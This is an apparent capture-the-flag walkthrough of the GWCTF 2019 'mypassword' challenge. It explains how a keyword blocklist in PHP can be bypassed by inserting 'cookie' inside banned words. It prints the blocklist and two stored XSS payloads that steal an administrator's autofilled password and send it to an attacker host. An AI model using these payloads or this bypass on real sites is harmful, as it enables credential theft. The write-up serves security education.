XSS Filter Bypass via Cookie Injection to Extract Stored Credentials
GWCTF 2019 - mypassword Challenge Walkthrough
Challenge Overview
The challenge presents a login interface with registration functionality. Upon logging in, a message indicates that SQL injection is not the intended attack vector. The interface includes a feedback submission form.
Initial Analysis
The feedback feature is likely the primary attack surface. Since administrators review submitted feedback, any stored XSS could be executed in their browser session.
Examining the page source reveals backend code that implements XSS filtering:
<?php
if(is_array($feedback)){
echo "<script>alert('Invalid feedback');</script>";
return false;
}
$blocklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blocklist as $banned) {
while(true){
if(stripos($feedback,$banned) !== false){
$feedback = str_ireplace($banned,"",$feedback);
}else{
break;
}
}
}
Filter Mechanism Vulnerability
The blacklist uses a while loop that repeatedly replaces banned strings with empty content. This approach appears designed to prevent double-encoding bypass techniques like onerroronerror. However, a critical logical flaw exists:
The filter iterates through each blacklist entry sequentially, checking the entire input string each time. Since cookie appears as the final entry, an attacker can insert cookie within dangerous characters. When the filter processes cookie and removes it, the surrounding filtered content remains intact—effectively achieving a bypass similar to character insertion tcehniques.
Authentication Mechanism
The login.js file contains client-side logic for credential persistence:
if (document.cookie && document.cookie !== '') {
var cookieData = document.cookie.split('; ');
var storage = {};
for (var i = 0; i < cookieData.length; i++) {
var parts = cookieData[i].split('=');
var k = parts[0];
storage[k] = parts[1];
}
if(typeof(storage['user']) !== "undefined" && typeof(storage['psw']) !== "undefined"){
document.getElementsByName("username")[0].value = storage['user'];
document.getElementsByName("password")[0].value = storage['psw'];
}
}
The application stores authentication credentials directly in cookies, then automatically populates form fields when the page loads.
Attack Strategy
Leverage the XSS vulnerability in the feedback system to:
- Inject HTML form elements capturing credentials
- Include
login.jsto trigger automatic credential population from cookies - Extract the password field value using JavaScript
- Exfiltrate the data to an attacker-controlled endpoint
Original Payload
<input type="text" name="username">
<input type="password" name="password">
<script src="./js/login.js"></script>
<script>
var passwd = document.getElementsByName("password")[0].value;
document.location="http://attacker.server:9023/?passwd="+passwd;
</script>
Bypassed Payload (Cookie Injection Technique)
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var cred = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://attacker.server:9023/?passwd="+cred;
</scrcookieipt>
By embedding the string cookie within restricted keywords, the filter's removal of cookie reconstructs the original JavaScript and HTML elements. For example, <scrcookieipt> becomes <script> after the filter strips cookie.
Submit the modified payload through the feedback form. Once the administrator's browser processes the stored XSS, the script executes within their authenticated session, captures the admin password from the cookie-populated form, and transmits it to the attacker endpoint.